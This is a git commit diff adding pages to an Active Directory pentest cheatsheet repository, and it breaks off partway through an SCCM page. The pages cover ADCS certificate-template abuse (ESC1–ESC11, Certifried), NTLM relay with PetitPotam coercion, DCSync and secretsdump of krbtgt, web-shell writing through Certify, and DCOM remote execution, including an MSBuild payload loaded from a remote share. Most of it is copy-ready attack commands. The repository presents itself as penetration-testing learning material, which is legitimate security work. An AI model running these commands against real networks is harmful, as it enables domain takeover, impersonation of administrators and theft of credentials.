AD - Pages v0.1
parent
325fb499cb
commit
70e5d08eb2
|
@ -1,4 +1,4 @@
|
|||
# 📕 InternalAllTheThings
|
||||
# InternalAllTheThings
|
||||
|
||||
Active Directory and Internal Pentest Cheatsheets
|
||||
|
||||
|
@ -11,10 +11,17 @@ Active Directory and Internal Pentest Cheatsheets
|
|||
📖 Documentation
|
||||
-----
|
||||
|
||||
TODO
|
||||
* Feel free to update any pages with your knowledge by submitting a Pull Request
|
||||
* Content in this repository is provided as is, for learning purpose. The author and contributors take no responsibility if you break something.
|
||||
|
||||
|
||||
👨💻 Contributions
|
||||
-----
|
||||
|
||||
TODO
|
||||
<p align="center">
|
||||
<a href="https://github.com/swisskyrepo/InternalAllTheThings/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=swisskyrepo/InternalAllTheThings&max=36">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
Thanks again for your contribution! :heart:
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,380 @@
|
|||
# Active Directory Certificate Services
|
||||
|
||||
* Find ADCS Server
|
||||
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
|
||||
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
|
||||
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`
|
||||
|
||||
## ESC1 - Misconfigured Certificate Templates
|
||||
|
||||
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
|
||||
|
||||
**Requirements**
|
||||
|
||||
* Template that allows for AD authentication
|
||||
* **ENROLLEE_SUPPLIES_SUBJECT** flag
|
||||
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
|
||||
|
||||
|
||||
**Exploitation**
|
||||
|
||||
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
|
||||
```ps1
|
||||
Certify.exe find /vulnerable
|
||||
Certify.exe find /vulnerable /currentuser
|
||||
# or
|
||||
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
|
||||
# or
|
||||
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
|
||||
```
|
||||
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
|
||||
```ps1
|
||||
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
|
||||
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
|
||||
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
|
||||
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
|
||||
```
|
||||
* Use OpenSSL and convert the certificate, do not enter a password
|
||||
```ps1
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
```
|
||||
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
|
||||
```ps1
|
||||
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
|
||||
```
|
||||
|
||||
**WARNING**: These certificates will still be usable even if the user or computer resets their password!
|
||||
|
||||
**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
|
||||
|
||||
|
||||
## ESC2 - Misconfigured Certificate Templates
|
||||
|
||||
**Requirements**
|
||||
|
||||
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
|
||||
|
||||
**Exploitation**
|
||||
|
||||
* Find template
|
||||
```ps1
|
||||
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
|
||||
```
|
||||
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
|
||||
|
||||
|
||||
## ESC3 - Misconfigured Enrollment Agent Templates
|
||||
|
||||
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
|
||||
|
||||
* Request a certificate based on the vulnerable certificate template ESC3.
|
||||
```ps1
|
||||
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
|
||||
[*] Saved certificate and private key to 'john.pfx'
|
||||
```
|
||||
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
|
||||
```ps1
|
||||
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
|
||||
```
|
||||
|
||||
|
||||
## ESC4 - Access Control Vulnerabilities
|
||||
|
||||
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
|
||||
|
||||
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
|
||||
```ps1
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
|
||||
```
|
||||
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
|
||||
```ps1
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
|
||||
|
||||
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
|
||||
C:\>StandIn.exe --adcs --filter WebServer --ess --add
|
||||
```
|
||||
* Perform ESC1 and then restore the value
|
||||
```ps1
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
|
||||
```
|
||||
|
||||
Using Certipy
|
||||
|
||||
```ps1
|
||||
# overwrite the configuration to make it vulnerable to ESC1
|
||||
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
|
||||
# request a certificate based on the ESC4 template, just like ESC1.
|
||||
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
|
||||
# restore the old configuration
|
||||
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
|
||||
```
|
||||
|
||||
|
||||
## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
|
||||
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
|
||||
|
||||
**Exploitation**
|
||||
|
||||
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
|
||||
```ps1
|
||||
Certify.exe cas
|
||||
```
|
||||
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
|
||||
```ps1
|
||||
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
|
||||
```
|
||||
|
||||
**Mitigation**
|
||||
|
||||
* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
|
||||
|
||||
|
||||
## ESC7 - Vulnerable Certificate Authority Access Control
|
||||
|
||||
**Exploitation**
|
||||
|
||||
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
|
||||
```ps1
|
||||
Certify.exe find /vulnerable
|
||||
```
|
||||
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
|
||||
```ps1
|
||||
Certify.exe setconfig /enablesan /restart
|
||||
```
|
||||
* Request the certificate with the desired SAN.
|
||||
```ps1
|
||||
Certify.exe request /template:User /altname:super.adm
|
||||
```
|
||||
* Grant approval if required or disable the approval requirement
|
||||
```ps1
|
||||
# Grant
|
||||
Certify.exe issue /id:[REQUEST ID]
|
||||
# Disable
|
||||
Certify.exe setconfig /removeapproval /restart
|
||||
```
|
||||
|
||||
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
|
||||
|
||||
```ps1
|
||||
# Get the current CDP list. Useful to find remote writable shares:
|
||||
Certify.exe writefile /ca:SERVER\ca-name /readonly
|
||||
|
||||
# Write an aspx shell to a local web directory:
|
||||
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
|
||||
|
||||
# Write the default asp shell to a local web directory:
|
||||
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
|
||||
|
||||
# Write a php shell to a remote web directory:
|
||||
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
|
||||
```
|
||||
|
||||
|
||||
## ESC8 - AD CS Relay Attack
|
||||
|
||||
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
|
||||
|
||||
Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
|
||||
|
||||
* **Version 1**: NTLM Relay + Rubeus + PetitPotam
|
||||
```powershell
|
||||
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
|
||||
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
|
||||
# For a member server or workstation, the template would be "Computer".
|
||||
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
|
||||
|
||||
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
|
||||
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
|
||||
git clone https://github.com/topotam/PetitPotam
|
||||
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
|
||||
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
|
||||
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
|
||||
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
|
||||
|
||||
# Use the certificate with rubeus to request a TGT
|
||||
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
|
||||
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
|
||||
|
||||
# Now you can use the TGT to perform a DCSync
|
||||
mimikatz> lsadump::dcsync /user:krbtgt
|
||||
```
|
||||
|
||||
* **Version 2**: NTLM Relay + Mimikatz + Kekeo
|
||||
```powershell
|
||||
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
|
||||
# Mimikatz
|
||||
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
|
||||
|
||||
# Kekeo
|
||||
kekeo> base64 /input:on
|
||||
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
|
||||
|
||||
# Mimikatz
|
||||
mimikatz> lsadump::dcsync /user:krbtgt
|
||||
```
|
||||
|
||||
* **Version 3**: Kerberos Relay
|
||||
```ps1
|
||||
# Setup the relay
|
||||
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
|
||||
|
||||
# Run mitm6
|
||||
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
|
||||
```
|
||||
|
||||
* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
|
||||
```powershell
|
||||
https://github.com/bats3c/ADCSPwn
|
||||
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
|
||||
adcspwn.exe --adcs cs.pwnlab.local
|
||||
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
|
||||
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
|
||||
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
|
||||
|
||||
# ADCSPwn arguments
|
||||
adcs - This is the address of the AD CS server which authentication will be relayed to.
|
||||
secure - Use HTTPS with the certificate service.
|
||||
port - The port ADCSPwn will listen on.
|
||||
remote - Remote machine to trigger authentication from.
|
||||
username - Username for non-domain context.
|
||||
password - Password for non-domain context.
|
||||
dc - Domain controller to query for Certificate Templates (LDAP).
|
||||
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
|
||||
output - Output path to store base64 generated crt.
|
||||
```
|
||||
|
||||
* **Version 5**: Certipy ESC8
|
||||
```ps1
|
||||
certipy relay -ca 172.16.19.100
|
||||
```
|
||||
|
||||
|
||||
## ESC9 - No Security Extension
|
||||
|
||||
**Requirements**
|
||||
|
||||
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
|
||||
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
|
||||
* Certificate specifies `Any Client` authentication EKU
|
||||
* `GenericWrite` over any account A to compromise any account B
|
||||
|
||||
**Scenario**
|
||||
|
||||
John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local.
|
||||
Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
|
||||
|
||||
* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
|
||||
```ps1
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
|
||||
```
|
||||
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
|
||||
```ps1
|
||||
certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
|
||||
```
|
||||
* Request the vulnerable certificate template ESC9 from Jane's account.
|
||||
```ps1
|
||||
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
|
||||
# userPrincipalName in the certificate is Administrator
|
||||
# the issued certificate contains no "object SID"
|
||||
```
|
||||
* Restore userPrincipalName of Jane to Jane@corp.local.
|
||||
```ps1
|
||||
certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
|
||||
```
|
||||
* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
|
||||
```ps1
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
|
||||
```
|
||||
|
||||
|
||||
## ESC11 - Relaying NTLM to ICPR
|
||||
|
||||
> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
|
||||
|
||||
Requirements:
|
||||
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
|
||||
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork
|
||||
|
||||
Exploitation:
|
||||
1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
|
||||
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
|
||||
```ps1
|
||||
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
|
||||
```
|
||||
|
||||
|
||||
## Certifried CVE-2022-26923
|
||||
|
||||
> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
|
||||
|
||||
* Find `ms-DS-MachineAccountQuota`
|
||||
```ps1
|
||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'DC=lab,DC=local' ms-DS-MachineAccountQuota
|
||||
```
|
||||
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
|
||||
```ps1
|
||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
|
||||
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
|
||||
```
|
||||
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
|
||||
```ps1
|
||||
Rubeus.exe tgtdeleg
|
||||
export KRB5CCNAME=/tmp/ws02.ccache
|
||||
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
|
||||
```
|
||||
* Set the `dNSHostName` attribute to match the Domain Controller hostname
|
||||
```ps1
|
||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
|
||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
|
||||
```
|
||||
* Request a ticket
|
||||
```ps1
|
||||
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
|
||||
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
|
||||
```
|
||||
* Either use the pfx or set a RBCD on your machine account to takeover the domain
|
||||
```ps1
|
||||
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
|
||||
|
||||
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
|
||||
python bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
|
||||
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
|
||||
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
|
||||
```
|
||||
|
||||
|
||||
## Pass-The-Certificate
|
||||
|
||||
> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
|
||||
|
||||
* Windows
|
||||
```ps1
|
||||
# Information about a cert file
|
||||
certutil -v -dump admin.pfx
|
||||
|
||||
# From a Base64 PFX
|
||||
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
|
||||
|
||||
# Grant DCSync rights to an user
|
||||
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
|
||||
# To restore
|
||||
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
|
||||
```
|
||||
* Linux
|
||||
```ps1
|
||||
# Base64-encoded PFX certificate (string) (password can be set)
|
||||
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
||||
# PEM certificate (file) + PEM private key (file)
|
||||
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
||||
# PFX certificate (file) + password (string, optionnal)
|
||||
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
||||
# Using Certipy
|
||||
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
|
||||
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
|
||||
```
|
|
@ -0,0 +1,113 @@
|
|||
# DCOM
|
||||
|
||||
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
|
||||
|
||||
|
||||
* Impacket DCOMExec.py
|
||||
```ps1
|
||||
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
|
||||
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
|
||||
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
|
||||
|
||||
python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
|
||||
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
|
||||
# -silentcommand executes the command without attempting to retrieve the output.
|
||||
```
|
||||
* CheeseTools - https://github.com/klezVirus/CheeseTools
|
||||
```powershell
|
||||
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
|
||||
-t, --target=VALUE Target Machine
|
||||
-b, --binary=VALUE Binary: powershell.exe
|
||||
-a, --args=VALUE Arguments: -enc <blah>
|
||||
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
|
||||
ShellBrowserWindow, ExcelDDE, VisioAddonEx,
|
||||
OutlookShellEx, ExcelXLL, VisioExecLine,
|
||||
OfficeMacro
|
||||
-r, --reg, --registry Enable registry manipulation
|
||||
-h, -?, --help Show Help
|
||||
|
||||
Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
|
||||
```
|
||||
* Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
|
||||
```powershell
|
||||
Import-Module .\Invoke-DCOM.ps1
|
||||
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
|
||||
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
|
||||
```
|
||||
|
||||
|
||||
## DCOM via MMC Application Class
|
||||
|
||||
This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.
|
||||
|
||||
```ps1
|
||||
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
|
||||
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
|
||||
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
|
||||
|
||||
# Weaponized example with MSBuild
|
||||
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
|
||||
```
|
||||
|
||||
Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1
|
||||
|
||||
|
||||
## DCOM via Office
|
||||
|
||||
* Excel.Application
|
||||
* DDEInitiate
|
||||
* RegisterXLL
|
||||
* Outlook.Application
|
||||
* CreateObject->Shell.Application->ShellExecute
|
||||
* CreateObject->ScriptControl (office-32bit only)
|
||||
* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
|
||||
* Addons
|
||||
* ExecuteLine
|
||||
* Word.Application
|
||||
* RunAutoMacro
|
||||
|
||||
|
||||
```ps1
|
||||
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
|
||||
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
|
||||
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
|
||||
|
||||
# Using Excel DDE
|
||||
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
|
||||
PS C:\> $excel.DisplayAlerts = $false
|
||||
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
|
||||
|
||||
# Using Excel RegisterXLL
|
||||
# Can't be used reliably with a remote target
|
||||
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
|
||||
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
|
||||
PS> $excel.RegisterXLL("EvilXLL.dll")
|
||||
|
||||
# Using Visio
|
||||
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
|
||||
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
|
||||
```
|
||||
|
||||
|
||||
## DCOM via ShellExecute
|
||||
|
||||
```ps1
|
||||
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
$item = $obj.Item()
|
||||
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
|
||||
```
|
||||
|
||||
|
||||
## DCOM via ShellBrowserWindow
|
||||
|
||||
:warning: Windows 10 only, the object doesn't exists in Windows 7
|
||||
|
||||
```ps1
|
||||
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
|
||||
```
|
|
@ -0,0 +1,104 @@
|
|||
# Deployment - SCCM
|
||||
|
||||
## Application Deployment
|
||||
|
||||
> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
|
||||
|
||||
* [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM)
|
||||
* [MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM)
|
||||
|
||||
|
||||
* Using **SharpSCCM**
|
||||
```ps1
|
||||
.\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
|
||||
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
|
||||
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
|
||||
```
|
||||
* Compromise client, use locate to find management server
|
||||
```ps1
|
||||
MalSCCM.exe locate
|
||||
```
|
||||
* Enumerate over WMI as an administrator of the Distribution Point
|
||||
```ps1
|
||||
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
|
||||
```
|
||||
* Compromise management server, use locate to find primary server
|
||||
* Use `inspect` on primary server to view who you can target
|
||||
```ps1
|
||||
MalSCCM.exe inspect /all
|
||||
MalSCCM.exe inspect /computers
|
||||
MalSCCM.exe inspect /primaryusers
|
||||
MalSCCM.exe inspect /groups
|
||||
```
|
||||
* Create a new device group for the machines you want to laterally move too
|
||||
```ps1
|
||||
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
||||
MalSCCM.exe inspect /groups
|
||||
```
|
||||
|
||||
* Add your targets into the new group
|
||||
```ps1
|
||||
